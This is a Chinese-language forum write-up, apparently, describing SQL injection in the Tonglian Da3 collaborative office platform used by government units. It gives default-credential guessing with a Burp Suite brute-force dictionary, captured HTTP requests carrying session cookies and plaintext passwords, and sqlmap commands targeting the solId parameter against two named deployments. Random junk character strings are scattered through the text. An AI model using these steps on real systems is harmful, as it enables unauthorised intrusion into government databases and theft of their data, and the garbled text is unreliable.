同联Da3协同办公平台前台通用sql injection漏洞

admin

0 @$ z* w& i" R" X

6 h V3 V6 B4 b# s 平台简介：

/ ]% R6 B8 V- \9 ?  

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
! h q3 Q8 {3 t/ R; [' C9 X. h同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
* ^, g1 Y8 ~# _6 b: `' ], ~7 ?同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ " S: u% S t5 ?) o; s* K' N

2 A6 o# p# Z$ m9 R$ |  

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

. B: ^7 I. y8 N  

http://1.1.1.1:7197/cap-aco/#（案例2-）

- H+ z$ G6 Y7 U5 K# E& C( d# P' o

http://www.XXOO.com （案例1-官网网站）

1 } I% i1 ^. v7 } ]2 J3 R

  / i& O/ ^ f8 |: e6 v

& W' B" L5 j t# v ^- y3 S; B 漏洞详情:

, Z7 U$ j$ \0 _+ P2 i) Y# ~+ r) z

/ E' j' [, A& k! B; u* C  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 % {+ {- l; P: \7 O9 U

+ J) ?( Q" x d# x      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： # |. N& e5 y9 S5 J$ L* b" Q

2 w. Z8 X! T& P& L1 z  

4 C* f- M" o" O( G) W) T

6 p; F. e. e# `6 j+ e1 Y   5 ~$ p& S5 Z2 `4 C4 w- [

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

! r9 G) k, M& N7 d

1、案例1-官方网站

, z: G$ J9 R# ~' ]' A3 o2 T& n

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

7 w5 v! ?# L# O) }

Host: www.XXOO.com

. Q) ]7 P. V3 l+ O& J6 ~1 f5 S Proxy-Connection: Keep-Alive }' q/ P+ }* D5 Y0 ]5 Y( H3 G

" w" U- ?( C+ f, b+ i Accept: application/json, text/javascript, */*; q=0.01

5 k8 l7 M' K; k" E( p6 R7 r

Accept-Language: zh-CN

& N5 a/ D$ d9 U) s& c; I Content-Type: application/json 9 X# L* V% f( ?$ R9 R1 U& R

6 v1 R; e. k. p9 _' |! e7 @

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

8 ^0 l3 R, |5 G' Z* E* d. a

X-Requested-With: XMLHttpRequest

7 ~. i# c. F. B2 c p5 D

6 u) o3 _% f8 ^7 h( z+ S Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

Accept-Encoding: gzip, deflate, sdch " l5 J; ~3 R; F' e( v

+ k* \1 W1 S6 _, C Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 1 {0 B0 S4 ]; n- j/ P, T

7 q& K2 `( {1 H1 Q4 q: T% b

% }9 C9 E& ~3 ^. G 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

  $ @, T, y5 X2 M7 u0 |" x

6 O O9 B$ S) Q0 e8 F. {  

  8 h5 Z U% a) p3 W. K( F- m

9 s0 r7 u- }% S8 |) _& h

 

( d/ a: G( o( K3 A5 o( B  

2 o4 i. `6 R# w' z 2、案例2-某天河云平台 7 x1 u7 b- a8 i* ]. j4 {

- R& G* ]+ O; G, ` O2 h x D. o

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 8 @# _0 ]+ F8 C0 a0 c9 i$ Z

Host: 1.1.1.:7197

Accept: application/json, text/javascript, */*; q=0.01 1 V, ]& j( l l

4 ^- m: W/ V0 D+ U% }% D! R5 y+ [* Y X-Requested-With: XMLHttpRequest 8 x7 o: _8 W9 m1 W- s

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/json * k4 F: O b% f: j/ U

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

7 ]& f. g5 s+ L: J, v2 D

! F+ K& J7 ?& W t# u, B( ~6 @ Accept-Language: zh-CN,zh;q=0.8

$ Y& b# D7 g/ D

, y; d) Z! r& A+ M4 {0 [. K% o9 N# ^ Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

Connection: close

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

5 E/ i& R& W5 {9 @

 

/ T3 F$ Y% G* Q' V